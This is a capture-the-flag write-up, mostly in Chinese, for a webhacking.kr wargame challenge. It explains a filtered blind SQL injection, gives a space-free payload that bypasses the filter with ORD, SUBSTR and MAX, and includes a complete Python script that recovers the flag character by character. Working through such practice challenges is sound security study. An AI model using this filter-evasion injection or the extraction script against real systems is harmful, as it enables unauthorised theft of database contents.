Challenge
Extract the flag through the filtered blind SQL injection.
通过带过滤的 blind SQL injection 提取 flag。
1 https://webhacking.kr/challenge/web-10/
Analysis
no 参数进入 SQL
查询,页面用结果值区分真假。过滤器会阻止空格、比较符、LIKE、LIMIT、UNION
等常见写法,但保留括号、SELECT、FROM、SUBSTR、ORD
和 IN。因此可以写成无空格的表达式,并用
MIN/MAX 在不能使用 LIMIT
时选取目标行。
当前题型的对象为
chall13.flag_ab733768.flag_3a55b31d。对最长 flag 使用
MAX(flag_3a55b31d),然后逐位置测试字符的 ASCII 值:
1 ORD(SUBSTR((SELECT (MAX (flag_3a55b31d))FROM (flag_ab733768)),< position> ,1 ))IN (< ascii> )
当页面结果为 1 时,当前字符匹配。flag 长度为
27,字符范围取 0 到 127 足以覆盖结果。
Solution
下面是完整的 Python 提取脚本。它只读取题目的 SQLi oracle;登录
session 从环境变量取得,文章中不包含真实 Cookie。脚本用
requests 自动 URL-encode no 参数,并打印恢复的
flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import osimport requestsBASE_URL = "https://webhacking.kr/challenge/web-10/" TRUE_MARKER = "<td>1</td>" TABLE_NAME = "flag_ab733768" COLUMN_NAME = "flag_3a55b31d" FLAG_LENGTH = 27 def make_payload (position, character_code ): return ( "ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})" .format (COLUMN_NAME, TABLE_NAME, position, character_code) ) def oracle (session, payload ): response = session.get( BASE_URL, params={"no" : payload}, timeout=20 , ) response.raise_for_status() return TRUE_MARKER in response.text def extract_flag (session ): flag = [] for position in range (1 , FLAG_LENGTH + 1 ): for character_code in range (128 ): if oracle(session, make_payload(position, character_code)): flag.append(chr (character_code)) break else : raise RuntimeError(f"no character matched at position {position} " ) return "" .join(flag) def main (): session_cookie = os.environ.get("CHALLENGE_SESSION" ) if not session_cookie: raise SystemExit("set session-cookie to your own challenge session before running" ) session = requests.Session() session.cookies.set ("PHPSESSID" , session_cookie, domain="webhacking.kr" , path="/" ) flag = extract_flag(session) print (flag) if __name__ == "__main__" : main()